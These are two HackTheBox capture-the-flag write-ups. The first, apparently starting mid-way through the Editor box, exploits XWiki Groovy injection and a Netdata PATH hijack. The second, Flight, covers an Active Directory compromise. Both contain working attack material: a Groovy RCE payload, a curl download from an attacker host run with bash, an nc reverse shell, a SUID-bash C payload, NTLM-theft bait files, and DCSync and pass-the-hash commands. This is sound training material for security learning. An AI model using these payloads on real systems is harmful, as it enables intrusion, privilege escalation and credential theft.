I still ran directory brute forcing to make sure I was not missing anything hidden behind the visible homepage.

ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/elite.txt

The results were not particularly interesting. At that point, I made the practical decision not to over-invest in the main site. The more promising attack surface was clearly the subdomain.

Inspecting the Wiki Subdomain

When I navigated to wiki.editor.htb, I found what looked like documentation for the product. The site had the appearance of a CMS-backed wiki rather than a custom-built application, and that immediately changed how I thought about enumeration.

With a CMS, I immediately care about three things:

1. What CMS is this?

2. What version is it running?

3. Are there known vulnerabilities for that version?

In the footer, I found the answer:

That was the first genuinely high-value piece of information on the box.

Whenever I see an application disclose an exact version number, that is a gift. It does not guarantee a vulnerability, but it gives you something concrete to investigate instead of just guessing. At that point, the wiki became a likely entry point.

3. Exploitation

Researching XWiki 15.10.8

Once I knew the target was running XWiki 15.10.8, I shifted from generic web enumeration to version-based vulnerability research.

I started locally with Searchsploit:

searchsploit xwiki

I saw references to XWiki issues, and I also experimented with Metasploit against a later-version-related exploit, but it did not pan out.

After that, I did a web search and found a CVE describing an unauthenticated remote code execution issue affecting this version range.

The bug essentially came down to an endpoint accepting user-controlled input in a way that did not properly sanitize injected Groovy code. That meant the application could be tricked into evaluating attacker-supplied code on the server side. Once I understood that, the next step was to first prove code execution with something simple and controlled.

Validating Code Execution

To confirm the vulnerability, I used a basic payload that attempted to execute the id command.

}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}

At first, it failed. This turned into one of the more useful lessons from the box, because the issue was not that the target was patched and not that the technique was wrong. The issue was my encoding.

I had been relying on Burp’s default shortcut for URL encoding, but I learned the hard way that it does not always encode every character in the way I need for these kinds of payloads. In an exploit path like this, even a small encoding mismatch can completely break execution. So I went back, manually ensured the payload was fully encoded, and resent it.

Once I did that properly, the payload worked.

With the corrected encoding, I had confirmed command execution. At that point, I knew that I had a viable path to an initial foothold.

Trying to Convert RCE into a Shell

The next natural step was to upgrade from simple command execution to an interactive shell. My first instinct was the same as it usually is: use a standard bash reverse shell one-liner.

That failed.

Instead of getting a shell, I started receiving server errors. This was another really useful learning moment, because it forced me to separate two ideas that are easy to conflate:

• I have command execution

• My chosen payload is valid in this execution context

Those are not the same thing.

The target was executing Groovy code, and while it was willing to evaluate certain simple commands, it clearly did not like the characters involved in my bash reverse shell one-liner. Things like redirection operators and other shell metacharacters were causing problems even when encoded. So the lesson here was “the interpreter and context are picky, so I need a cleaner way to deliver the payload.”

That is where simplifying the attack path paid off.

Using a Staged Payload Instead of a Complex One-Liner

Rather than continuing to fight the interpreter with a more and more complicated one-liner, I decided to break the attack into smaller, cleaner steps.

First, I hosted a shell script from my attacker box. Then I used a simple download command on the target:

curl http://<attacker_ip>/shell.sh -o /dev/shm/shell.sh

After that, I executed it with:

bash /dev/shm/shell.sh

This worked immediately.

The reason this worked so much better is that the command string itself was now very simple. I was no longer asking the vulnerable application to process a fragile reverse shell one-liner full of characters that might break parsing or execution. I was just telling it to download a file and then run it. That is much cleaner and much more reliable.

This was probably one of the most foundational lessons from the box for me. When I have RCE but the execution context is fragile, I do not need to cram the whole attack into one command. It is often smarter to stage the payload externally and use the vulnerability only to bootstrap execution.

That gave me a shell as:

xwiki

At that point, the initial foothold was complete, and I moved into local enumeration.

4. Privilege Escalation

Initial Enumeration as xwiki

Once I landed a shell, I immediately switched into my usual Linux privilege escalation routine.

I started with the basics:

whoami
id
sudo -l

As expected, I was the xwiki user. sudo -l did not reveal anything useful, so there was no obvious direct sudo-based escalation path.

Next, I wanted to understand which real user accounts on the system had shells.

cat /etc/passwd | grep sh

Aside from root, the main interesting local user was oliver. At that point, the question became whether I could find credentials or access material that would let me move from the application account to the real user account.

I checked Oliver’s home directory, but I did not have access. Web application accounts often have access to configuration files, and configuration files often contain credentials.

Searching Application Files for Credentials

Because the foothold came through XWiki, I began checking application-related files and directories for secrets. I used a quick recursive search for password-like strings.

grep -r pass *

That search led me to a configuration file:

hibernate.cfg.xml

Inside it, I found a credential that looked promising.

Application configs often bridge the gap between the service account and a real user account.

Trying the Credential Against Oliver

My first instinct was to test the password with su:

su oliver

It failed.

This was another excellent lesson from the box because it would have been easy to conclude that the credential was wrong or unrelated. But instead of discarding it, I tested it over SSH:

ssh oliver@10.129.231.23

That worked.

That surprised me at first, but it reinforced an important point: credentials do not always behave the same way across every authentication mechanism. The failure of su did not prove the password was useless.

Enumerating Internal Services as Oliver

As oliver, I checked sudo -l again, but there was nothing useful there either. I also did not find anything immediately interesting in the home directory, so I moved to one of the most important Linux post-exploitation habits: checking which services are listening locally.

ss -tuln

This showed several services bound to localhost, including:

• 19999

• 8125

• 45665

These stood out because localhost-bound services are often administrative or internal-only components.

At this point, I wanted to inspect those services from my browser and tools on my attacker machine, so I used SSH port forwarding.

ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23

That was another nice practical lesson. I had not really internalized before that I could forward multiple ports in one SSH command at once. Once I did that the next step was to investigate the services.

Investigating Netdata on Port 19999

The first forwarded service I checked was port 19999, and it turned out to be Netdata.

I was not very familiar with Netdata going into the box, but one good habit I try to stick to is this: when I discover an unfamiliar service, I identify the version if possible and search for known issues.

That led me to documentation describing a vulnerability involving ndsudo, a helper used by Netdata. The weakness came down to path hijacking. The privileged program was invoking certain commands without absolute paths, which meant the resolution of those commands depended on the contents of the PATH environment variable.

That is dangerous because if I can place a malicious executable with the expected name in a directory I control and ensure that directory is searched first, I can potentially trick the privileged program into running my executable instead of the intended system one.

My First Attempt at Exploiting the Path Hijack

My initial idea was simple: create a malicious script, adjust PATH, and trigger the vulnerable functionality.

That did execute, but the result was disappointing: I was still oliver.

This was one of the best teaching points on the machine because from a distance it looked like the exploit almost worked. I had to stop and ask why a privileged helper would run my payload and still not actually elevate me.

The answer came down to the difference between a script and a true binary executable in this context.

Why the Script-Based Attempt Failed

The vulnerable helper expected an executable file. My replacement payload was a script. In situations like this, the way the operating system and interpreter handle scripts can result in privileges being dropped for safety. In other words, even though my file was being invoked, it was not being treated in a way that preserved the privileged execution context I needed.

That was a really useful concept to run into firsthand. It showed me that not every file that is “executable” is functionally equivalent for privilege escalation. Sometimes the distinction between “script interpreted by a shell” and “ELF binary executed directly” matters a lot.

So instead of continuing to force a script-based payload, I moved to a compiled C binary.

Writing a C Payload for Reliable Elevation

To make the exploit reliable, I wrote a small C program that explicitly set the real and effective user and group IDs to 0, then copied /bin/bash, changed ownership to root, and applied SUID permissions.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int main() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("cp /bin/bash /home/oliver/neo; chown root:root /home/oliver/neo; chmod 6777 /home/oliver/neo");
}

I compiled it, named it after the command ndsudo was expecting, and placed it in a writable directory under my control. Then I made sure that directory appeared early in my PATH.

The reason this worked where the script failed is that I was now giving the vulnerable program what it effectively wanted: a true executable binary that would run directly and preserve the privileged context long enough for my code to do its job.

When I triggered the vulnerable Netdata helper, it created my SUID-root copy of bash as intended.

Then I simply ran:

./neo -p
whoami

And got:

root

5. Lessons Learned

1. Version disclosure on a CMS is always a potential attack vector.

Whenever I encounter a CMS or framework and can identify the version, I need to immediately search for known vulnerabilities. That piece of enumeration was the difference between blindly poking at a wiki and turning it into a foothold.

2. Encoding issues can break a valid exploit path

I learned a very practical lesson about request encoding here. I had a valid exploit path in front of me, but because the payload was not encoded the way I thought it was, it initially failed.

3. Simpler payloads are often more reliable than clever ones

This box reinforced the value of simplifying payloads when the execution context is unstable or picky. I initially tried to force a reverse shell one-liner through Groovy, but it kept breaking. Once I split the attack into smaller steps and staged the payload externally, everything became much more reliable. That is a lesson I expect to reuse often.

4. Credentials should be tested across multiple access methods

I got a very useful reminder that credentials should be tested across multiple access methods. The credential I found did not work with su, but it did work over SSH. If I had treated the first failure as definitive, I would have missed the valid pivot.

5. Internal-only services become part of the attack surface after a foothold

The box highlighted how important localhost-only services can be after a foothold. It is easy to focus only on what is exposed externally, but once I had user access, internal services became part of the attack surface too. Port forwarding let me inspect that hidden layer of the system much more effectively.

6. Scripts and compiled binaries are not interchangeable in privileged contexts

The privilege escalation path taught me an important technical distinction between scripts and compiled binaries in privileged execution contexts. My first exploit attempt was conceptually correct but mechanically wrong. Only when I slowed down and understood why the privilege drop was happening did I realize I needed a real binary rather than a script.

6. Defensive Insight

1. Internet-facing CMS platforms need to be patched aggressively

The most obvious issue was the vulnerable XWiki instance. Running a CMS with a known RCE vulnerability and exposing its version publicly gave an attacker both the target and the roadmap. Keeping internet-facing software patched and reducing version disclosure wherever possible would have significantly improved the defensive posture.

2. Plaintext credentials in configuration files create easy pivot opportunities

The application configuration hygiene was also poor. Storing credentials in accessible plaintext configuration files gave the attacker an easy bridge from the service account into a real user account. Sensitive secrets should be stored more securely and access to configuration files should be tightly controlled.

3. SSH access and credential reuse should be tightly controlled

On the authentication side, the environment also benefited the attacker by allowing that credential to be used over SSH. Restricting SSH access, enforcing stronger credential hygiene, and limiting where and how service-related secrets can be reused would all reduce the chance of this kind of pivot.

4. Privileged binaries should never rely on unsafe PATH resolution

The privilege escalation issue in Netdata was another clear example of why privileged binaries should use absolute paths and avoid unsafe dependence on environment-controlled values like PATH. If a privileged program invokes helper commands, it should do so explicitly and defensively, not in a way that allows a user to influence command resolution.

5. Localhost-bound services are not automatically safe

Lastly, the machine is a good reminder that localhost-bound services are not inherently safe. Developers and administrators sometimes treat “listening only on 127.0.0.1” as if it means “not reachable by attackers,” but once a user account is compromised, that assumption breaks down quickly. Internal services still need to be hardened because a foothold often turns them into the next step of the attack chain.

7. Useful Commands

# Initial Nmap scan
nmap -sC -sV -oN nmap.txt 10.129.231.23

# Vhost enumeration
ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4

# Directory brute forcing against the main site
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Search for XWiki-related exploits
searchsploit xwiki

# Identify local users with shells
cat /etc/passwd | grep sh

# Search recursively for password-like strings in accessible files
grep -r pass *

# Inspect localhost-bound services
ss -tuln

# Forward multiple internal ports in one SSH command
ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23

# Stage a reverse shell more reliably via file download
curl http://<attacker_ip>/shell.sh -o /dev/shm/shell.sh
bash /dev/shm/shell.sh

Machine Name: Flight
Platform: HackTheBox
Operating System: Windows
Target IP:
Objective: Compromise the target system and obtain administrative access in an Active Directory environment.

This machine presented a realistic Windows Active Directory environment with multiple attack vectors spanning web exploitation, SMB abuse, credential harvesting, and domain escalation.

Out of all the machines I’ve worked through so far, Flight stands out as one of the most instructive and well-designed. It ties together several critical real-world attack techniques—such as LFI/RFI, NTLM capture, writable SMB shares, web-based RCE, and Kerberos delegation abuse—into a single, cohesive attack path. The overall flow felt very realistic and reinforced the importance of thinking holistically rather than focusing on just one vector at a time.

Tools Used

• Nmap – Identified open ports, services, and attack surface

• NetExec (nxc) – LDAP/SMB enumeration and BloodHound data collection

• BloodHound – Analyzed Active Directory relationships and privilege paths

• smbclient – Enumerated shares and interacted with SMB file systems

• Responder – Captured NTLMv2 authentication hashes via forced authentication

• NTLMTheft – Generated malicious files to trigger SMB authentication

• John the Ripper – Cracked captured NTLMv2 hashes offline

• cURL – Interacted with web endpoints and inspected server responses

• PHP Webshell – Achieved initial remote code execution via writable web directory

• ASPX Webshell – Gained code execution on IIS development site

• Netcat (nc) – Established reverse shells

• rlwrap – Improved shell usability and interaction

• RunasCs – Executed commands as another user (c.bum)

• Chisel – Performed port forwarding to access internal-only services

• Rubeus – Performed TGT delegation attack to obtain Kerberos tickets

• Impacket (secretsdump.py) – Performed DCSync to extract domain hashes

• Impacket (psexec.py) – Achieved remote command execution as Administrator

• Python HTTP Server – Hosted payloads (Rubeus, Chisel, RunasCs)

• wget / PowerShell WebClient – Downloaded payloads onto the target

2. Enumeration

Initial Service Discovery

I began with an Nmap scan to identify open ports, exposed services, and domain-related details. The scan revealed a standard Active Directory host along with an HTTP service.

Key services identified:

• 53 (DNS)

• 80 (HTTP) – Apache httpd 2.4.52 on Win64 with PHP

• 88 (Kerberos)

• 135 (MSRPC)

• 139 (NetBIOS)

• 389 (LDAP)

• 445 (SMB)

• 464 (kpasswd)

• 593 (RPC over HTTP)

• 3268 (Global Catalog LDAP)

• Additional high RPC ports typical of Windows

The scan also exposed two important details:

• Domain: flight.htb

• Hostname: g0

Since this is an AD target, I followed step 1 of my checklist and added the discovered naming information to my hosts file so the target could be resolved properly during later enumeration and attack steps.

SMB Enumeration

Following step 2 of my AD checklist, I attempted anonymous SMB enumeration first.

I tested null and guest-style access, but both paths failed:

• Anonymous share enumeration returned STATUS_ACCESS_DENIED

• Guest access returned STATUS_ACCOUNT_DISABLED

That told me SMB was not going to give me an easy foothold or anonymous file access.

RPC Enumeration

Following step 3 of my AD checklist, I attempted anonymous RPC enumeration with rpcclient.

That also failed:

• enumdomusers returned NT_STATUS_ACCESS_DENIED

So anonymous RPC user enumeration was blocked as well.

LDAP Enumeration

Following step 4 of my AD checklist, I attempted anonymous LDAP enumeration.

That failed too:

• LDAP returned an error indicating a successful bind was required before the operation could be completed

This confirmed anonymous LDAP enumeration was disabled.

Web Enumeration

At this point, the early anonymous AD paths had been shut down:

1. Hosts file updated with the discovered domain/FQDN

2. Anonymous SMB enumeration failed

3. Anonymous RPC enumeration failed

4. Anonymous LDAP enumeration failed

Because of that, I decided to shift focus to the web server on port 80.

Upon visiting http://flight.htb, I was presented with a flight booking website (“g0 Aviation”).

Observations:

• The site appeared static

• Navigation links did not trigger meaningful backend interaction

• No visible input fields or dynamic functionality

• No immediate injection points or authentication features

At this point, the web app itself did not provide a direct attack path.

Virtual Host Enumeration

Because the main site lacked functionality, I expanded the attack surface by fuzzing for virtual hosts.

Command used:

ffuf -u http://<target_ip> -H "Host: FUZZ.flight.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 1546

This resulted in the discovery of a new subdomain:

• school.flight.htb

This is a critical finding because:

• It indicates multiple web apps hosted on the same server

• Hidden vhosts often contain admin panels, dev apps, or vulnerable functionality

• This gives us a new attack surface after AD enumeration failed

With this discovery, I shifted my focus to school.flight.htb as the next target for deeper enumeration, since hidden subdomains frequently expose functionality that is not present on the main site.

Web Enumeration (school.flight.htb)

After discovering the school.flight.htb subdomain, I followed up by adding it to my hosts file:

I then navigated to the site in my browser while simultaneously running directory and vhost fuzzing in the background to maximize coverage.

Upon visiting http://school.flight.htb, I was presented with what appears to be a development-stage aviation school website.

Initial observations:

• The site is more dynamic than the main domain

• Contains navigation links such as Home, About Us, Blog

When clicking Home, I was redirected to:

index.php?view=home.html

This immediately stood out to me.

Parameter Analysis

From the URL structure, I observed:

• index.php is acting as the main handler script

• view is a GET parameter

• home.html is being passed as a value to that parameter

This suggests that the application is dynamically loading content based on user-supplied input.

LFI Potential Identification

At this point, I suspected a potential Local File Inclusion (LFI) vulnerability.

The reasoning was:

• The application appears to take user input (view) and use it to determine which file to load

• The value being passed (home.html) looks like a file path

• There was no visible restriction or sanitization in the URL itself

This pattern commonly maps to backend logic similar to:

include($_GET['view']);

If this is the case, then I may be able to manipulate the view parameter to load arbitrary files on the system.

3. Exploitation

I proceeded to test whether the application was vulnerable to LFI.

To do this, I attempted to load a known file that is present on most Windows systems:

index.php?view=/Windows/win.ini

LFI Validation

The response returned the contents of the win.ini file directly in the browser.

This confirmed that:

• The application is using user-supplied input to load files

• There is no proper sanitization or restriction in place

• The view parameter is vulnerable to Local File Inclusion (LFI)

LFI → RFI Testing

After confirming LFI, I moved to the next logical step: checking for Remote File Inclusion (RFI).

Anytime I find LFI, I want to test RFI because:

• LFI → file read

• RFI → potential remote code execution (RCE)

If the application is using something like include() or require() with user input, RFI can often lead directly to a shell.

RFI Test Setup

To test this, I created a simple PHP file on my attack machine:

<?php echo "neo test"; ?>

Then I hosted it using a Python web server:

python3 -m http.server 80

I modified the vulnerable parameter to point to my hosted file:

index.php?view=http://<attacker_ip>/test.txt

Observed Behavior

Two key things happened:

1. Callback confirmed

   • The target made a request to my server

   • This proves the application is fetching remote content

2. PHP did NOT execute

   • The response showed the raw PHP source code

   • <?php echo "neo test"; ?> was not interpreted

What This Tells Me

This is the critical distinction:

• The app is likely using something like: file_get_contents() → reads file as text → no execution

So: RFI behavior exists (remote fetch works) but No direct RCE via RFI

Even though RCE isn’t immediate, this is still valuable I can:

• Pull remote content into the app

• Confirm outbound connectivity

• Potentially chain this with other techniques

• But I cannot execute PHP directly via RFI

LFI → SMB Abuse (Credential Capture)

After confirming that RFI would not lead to code execution, I pivoted to another common LFI technique: forcing the application to authenticate over SMB.

Even though HTTP-based RFI did not execute code, LFI can still be abused to trigger outbound authentication attempts, which can be captured.

Attack Setup

I started a listener using Responder:

sudo responder -I tun0

The goal here is simple:

• Trick the target into requesting a resource over SMB

• Capture the NetNTLMv2 challenge/response when it tries to authenticate

Triggering the Authentication

Instead of using HTTP, I leveraged the LFI parameter to point to my attacker machine:

This forces the Windows server to:

• Reach out over SMB

• Attempt authentication using its current user context

Hash Capture

This worked immediately.

I captured a NetNTLMv2 challenge/response for:

• User: svc_apache

• Domain: flight.htb

This is a service account, which is exactly what you want:

• Often reused

• Often has elevated or useful permissions

• Sometimes poorly secured

Hash Cracking

Next, I attempted to crack the captured NetNTLMv2 hash using John:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The attack was successful:

• Password cracked for svc_apache

• I now have valid domain credentials

User Enumeration & Password Spraying

After successfully cracking the NetNTLMv2 hash, I obtained valid credentials for the service account:

• User: svc_apache

• Password: S@Ss!K0x+13

Domain User Enumeration

With valid credentials, I returned to my AD checklist and proceeded with proper authenticated enumeration.

Using nxc, I enumerated domain users:

nxc smb <target_ip> -u svc_apache -p 'S@Ss!K0x+13' --users

This provided a list of domain users.

Now I had a solid user list to work with, which is critical for the next phase.

Password Spraying (Credential Reuse Check)

Following best practice, I immediately tested for password reuse.

This is especially important with:

• Service accounts → often reused or poorly managed

• Internal environments → users commonly reuse passwords

I performed a password spray using the discovered credentials:

nxc smb <target_ip> -u user.txt -p 'S@Ss!K0x+13' --continue-on-success

Result – Additional Compromise

The spray revealed a successful login:

• User: S.Moon

• Password: S@Ss!K0x+13

This confirms password reuse within the domain.

WinRM Access Check

After obtaining credentials for both:

• svc_apache

• S.Moon

The next logical step was to check for remote access via WinRM, as this is often a quick path to an interactive shell on Windows targets.

I attempted authentication using evil-winrm for both users:

evil-winrm -i <target_ip> -u S.Moon -p 'S@Ss!K0x+13'
evil-winrm -i <target_ip> -u svc_apache -p 'S@Ss!K0x+13'

Both attempts failed with:

• WinRM::WinRMAuthorizationError

This indicates:

• Neither user has WinRM access rights

WinRM access is typically restricted to:

• Administrators

• Remote Management Users group

Neither svc_apache nor S.Moon are members of those groups.

Next Step – BloodHound Enumeration

Since:

• WinRM is not accessible

The next move is to enumerate the domain using BloodHound.

Normally, I would use SharpHound (on-host collector), but:

• I do not have a shell on the target yet

So instead, I used my backup approach:

• NXC Bloodhound ce (external collector)

This allows me to:

• Enumerate AD remotely using valid credentials

• Gather data on:

  • Group memberships

  • Permissions

  • Attack paths

  • Privilege escalation opportunities

Domain Enumeration

I moved to broader Active Directory enumeration with BloodHound. I used nxc bloodhound-ce as my external collector. The collection succeeded, and I imported the results into BloodHound for analysis.

The graph showed that although I had compromised two users, neither had any useful privileged group memberships, outbound object control, or obvious ACL-based escalation path.

Kerberos Attacks

After BloodHound did not reveal anything useful, I tested two common Kerberos attack paths:

• AS-REP roasting

  

• Kerberoasting

  

Both failed.

There were no roastable users with pre-auth disabled, and no useful service principal names exposed for ticket extraction. That ruled out the most common credential-based Kerberos escalation routes.

At this stage:

• I had confirmed and exploited LFI

• Captured and cracked a NetNTLMv2 challenge/response

• Compromised svc_apache

• Password sprayed and compromised S.Moon

• Confirmed neither user had WinRM access

• Ruled out useful BloodHound privilege paths

• Ruled out AS-REP roasting and Kerberoasting

With those paths exhausted, my next move was to pivot into authenticated SMB enumeration and look for useful files, shares, credentials, or internal data.

Authenticated SMB Abuse – NTLM Theft via Writable Share

While performing authenticated SMB enumeration, I discovered that one of the compromised users had write access to a network share.

This is a critical finding.

Anytime I have write access to a share, I immediately consider NTLM credential theft attacks, because I can plant files that will cause legitimate users to authenticate back to my machine.

Attack Concept

The idea is simple:

• Drop a file on the share

• Wait for a user to interact with it (browse/open/render)

• Their system attempts to fetch a remote resource

• This triggers SMB authentication to my attacker machine

• I capture the NetNTLMv2 challenge/response

This type of attack is commonly referred to as:

SMB/NTLM coercion via file planting
(or more practically: NTLM theft via writable share)

ntlm_theft

To streamline this, I used the ntlm_theft tool, which generates multiple file types designed to trigger authentication:

sudo python3 ntlm_theft.py -g all -s <attacker_ip> -f neo

This created a variety of payload files such as:

• .lnk

• .url

• .scf

• and others

Each of these is crafted to force a remote connection when accessed.

Uploading Payloads

Using SMB access, I uploaded these files to the writable share:

smbclient //<target_ip>/shared -U S.Moon

Then:

prompt false
mput *

Some files were blocked due to permissions, but several successfully uploaded, which is all that’s needed.

Capturing Credentials

With the payloads in place, I restarted Responder:

sudo responder -I tun0

Shortly after, I received a callback:

• User: c.bum

Credential Recovery

As before, I took the captured hash and cracked it offline using John:

john hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

• Successfully recovered the password for c.bum

Remote Code Execution via Writable Web Share

After compromising the c.bum user, I continued post-authentication enumeration.

Privilege & Access Review

• Password spraying with c.bum → no reuse

• BloodHound analysis → no direct escalation paths

However, I identified an important detail:

• c.bum is a member of Web Devs

SMB Share Permissions

I then checked SMB access and discovered:

• Write access to a share named: web

This is a major finding.

Upon inspection, this share corresponded directly to the web root directory, containing files for both:

• flight.htb

• school.flight.htb

Attack Opportunity

At this point, the path was clear:

• The application uses PHP

• I have write access to the web directory

This means I can upload a PHP webshell and achieve RCE

Webshell Upload

Using SMB, I uploaded a PHP webshell into the web directory:

smbclient //<target_ip>/web -U c.bum

Then placed the shell inside the styles directory:

put wtshelly.php

RCE Validation

I accessed the webshell via the browser:

http://school.flight.htb/styles/wtshelly.php?cmd=whoami

The response returned:

• flight\svc_apache

This confirmed:

• The webserver executes PHP ✔️

• I have remote code execution ✔️

Upgrading to a Reverse Shell

To get a proper interactive shell, I:

1. Uploaded nc.exe to the same directory

2. Started a listener on my machine:

rlwrap nc -nlvp 7777

1. Triggered the reverse shell using the webshell:

curl http://school.flight.htb/styles/wtshelly.php \
--data-urlencode "cmd=nc.exe -e powershell.exe <attacker_ip> 7777"

Shell Access Achieved

I received a reverse shell:

PS C:\xampp\htdocs\school.flight.htb\styles> whoami
flight\svc_apache

4. Privilege Escalation

Initial Enumeration (Post-Exploitation)

After obtaining a shell as svc_apache, I began standard Windows privilege escalation enumeration, starting with quick wins.

• Checked for autologon credentials → none found

  

• Checked PowerShell history → no useful data

  

Web Directory Enumeration

I navigated to the IIS web directory:

cd C:\inetpub

I discovered a directory:

C:\inetpub\development

Contents:

• Static web files (index.html, contact.html, etc.)

Next, I checked permissions:

icacls development

Key finding:

• flight\C.Bum:(OI)(CI)(W)

This confirms:

• The c.bum user has write access to this development web directory

This is important because:

• I already control credentials for c.bum

• This directory is tied to a web service

Service & Port Enumeration

I then enumerated listening services:

netstat -ano | findstr LISTENING

Key observation:

• Port 8000 is listening on:

  • 127.0.0.1

  • 0.0.0.0

This strongly suggests:

• A locally hosted web application

• Likely the development site I just discovered

Attack Surface Identification

At this point, I identified a clear opportunity:

• Internal web app (port 8000)

• Writable web directory (via c.bum)

• Potential different execution context

This creates a classic scenario:

Internal service + writable content + different user context = privilege escalation vector

Access Constraints

However, two limitations exist:

1. The service is not externally accessible

2. My current shell is:

   • svc_apache (not c.bum)

Windows does not allow easy user switching like Linux (su), so I need to work around this.

To proceed, I identified two required tools:

1. Chisel (Port Forwarding)

• Used to expose:

  • localhost:8000 → attacker machine

• Allows me to interact with the internal web app

2. RunasCs (User Execution)

• Allows execution of commands as:

  • c.bum

• This is necessary because:

  • c.bum has write access to the web directory

  • The service may run under a different context

4. Privilege Escalation

Accessing Internal Services as c.bum

At this point, I identified that port 8000 was running a web service bound to localhost. Since my shell was running as svc_apache, I needed a way to:

1. Access the internal service

2. Operate as c.bum (who has write access to the web directory)

To achieve this, I transferred two tools to the target:

• RunasCs → execute commands as another user

• Chisel → port forwarding

Switching Context to c.bum

Using RunasCs, I spawned a reverse shell as c.bum:

.\r.exe c.bum <password> -r <attacker_ip>:9001 powershell.exe

Listener:

rlwrap nc -nlvp 9001

Confirmed:

whoami
flight\c.bum

Forwarding Internal Port 8000

Next, I used Chisel to expose the internal web service:

.\chisel.exe client <attacker_ip>:8001 R:8000:127.0.0.1:8000

Now I could access the service locally:

http://127.0.0.1:8000

Identifying the Development Site

The site loaded successfully and appeared to be a development flight booking application.

Based on earlier enumeration:

• This corresponds to:

  C:\inetpub\development
  

Verifying Write Access

To confirm control, I created a test file:

echo "test" > neo.txt

Then accessed:

http://127.0.0.1:8000/neo.txt

✔ File loaded successfully → write access confirmed

Identifying Backend Technology

To determine the server-side language, I used:

curl -I http://127.0.0.1:8000/index.html

Key result:

• X-Powered-By: ASP.NET

This confirms:

• The application uses ASP.NET / IIS

• PHP payloads will not work here

ASPX Webshell Upload

With confirmed write access and ASP.NET backend, I uploaded an ASPX webshell.

Steps:

1. Upload shell via SMB

2. Copy into web root:

cp \xampp\htdocs\shell.aspx shell.aspx

RCE Confirmation

I navigated to:

http://127.0.0.1:8000/shell.aspx

Executed:

whoami

Result:

iis apppool\defaultapppool

Abusing IIS AppPool Identity

After achieving RCE via the ASPX webshell, I began enumerating the execution context:

whoami

Result:

iis apppool\defaultapppool

Understanding the Context

At first glance, this appears to be a low-privileged service account. However, IIS AppPool identities can be misleading.

To better understand its privileges, I attempted to coerce authentication:

\\10.10.14.123\whatever

This triggered an outbound authentication request captured via Responder.

Captured NTLM Authentication

Responder captured:

• Username: flight\G0$

This is a critical finding.

The $ suffix indicates:

• This is a machine account

• Specifically, the domain controller (G0)

Key Insight

This tells me:

• The IIS process is running in a context capable of authenticating as the machine account

• This is far more powerful than a normal service account

However—this is where precision matters:

This does NOT automatically mean SYSTEM

It means the process has access to machine-level credentials/tokens

Attack Direction: Kerberos Delegation Abuse

Since I can coerce authentication as the machine account, I can potentially:

• Request Kerberos tickets

• Abuse delegation mechanisms

This leads to a known attack path:

Use Rubeus to request and leverage machine account tickets → perform DCSync

Abusing Machine Account via IIS AppPool

After confirming that the IIS AppPool context could authenticate as the machine account (G0$), I moved to abuse this using Kerberos delegation.

To do this, I transferred Rubeus to the target:

wget http://<attacker_ip>/rubeus.exe -outfile rubeus.exe

Requesting Delegation TGT

I used Rubeus to perform delegation abuse:

.\rubeus.exe tgtdeleg /nowrap

This resulted in:

• A delegated Kerberos TGT

• Output in base64 format

Extracting and Preparing the Ticket

I copied the base64 ticket and converted it:

base64 -d ticket > ticket.kirbi

Then converted it into a format usable by Impacket:

impacket-ticketConverter ticket.kirbi ticket.ccache

Exported the ticket:

export KRB5CCNAME=ticket.ccache

This allows all Kerberos-aware tools to use the ticket

DCSync via Kerberos Ticket

With a valid delegated ticket, I performed a DCSync:

impacket-secretsdump -k -no-pass g0.flight.htb

Result:

• Dumped NTDS secrets

• Retrieved hashes for:

  • Administrator

  • krbtgt

  • other domain users

Domain Administrator Compromise

From the output, I extracted the Administrator NTLM hash:

Administrator:...:<NTLM_HASH>

Then used Pass-the-Hash:

impacket-psexec administrator@10.129.228.120 -hashes :<NTLM_HASH>

Final Access

Shell obtained:

This completes full domain compromise:

• ✔ Initial foothold via web

• ✔ Credential harvesting via LFI + NTLM capture

• ✔ Lateral movement via SMB + password reuse

• ✔ RCE via writable web directory

• ✔ Machine account abuse via IIS

• ✔ Kerberos delegation → DCSync

• ✔ Domain Admin → SYSTEM

5. Lessons Learned

1.LFI on Windows Has Predictable High-Value Targets

When exploiting LFI on Windows systems, there are a few reliable files to check immediately:

• C:\Windows\win.ini → quick validation of file read

• C:\Windows\System32\drivers\etc\hosts → reveals internal hostnames

These are consistent, low-effort checks that provide immediate value.

2. Always Test LFI → RFI Immediately

After confirming LFI, the next step is to test for Remote File Inclusion (RFI).

• LFI = reading local files

• RFI = including remote files

Important distinction:

Being able to include a file does not guarantee code execution.

If the backend uses functions like file_get_contents, the result will be:

File contents only

No execution of embedded code

3. RFI + SMB = Credential Capture

RFI becomes significantly more powerful when SMB is involved.

By pointing the target to an attacker-controlled host:

• The system attempts authentication over SMB

• This allows capture of NetNTLMv2 challenge/response

This is a reliable method to convert file inclusion into credentials.

4. Writable SMB Shares Enable NTLM Theft

Writable SMB shares are not just storage—they are an attack vector.

With write access, I was able to:

• Drop crafted files (.url, .lnk, etc.)

• Trigger authentication when accessed by other users

• Capture NTLM credentials via Responder

This technique is commonly referred to as:

NTLM coercion / NTLM theft via file-based triggers

5. File Write on Web Servers = Likely RCE

A key mindset shift:

• Writing to random shares → limited value

• Writing to a web root directory → potential RCE

Once I identified:

• Write access to the web directory

• A dynamic backend

The path was clear:

Upload webshell → execute via browser → gain code execution

6. A Shell Is More Valuable Than Credentials Alone

Compromising users is not the end goal.

To make real progress, you need:

• A local shell on the target

• Ability to enumerate:

• Files

• Services

• Permissions

• Network activity

Real control begins once you are operating locally.

7. Internal Services Matter More Than External Ones

External scans do not reveal everything.

Using:

netstat -ano

I identified:

Services bound to localhost (e.g., port 8000)

Internal-only services are often:

Poorly secured

Meant for development

High-value escalation paths

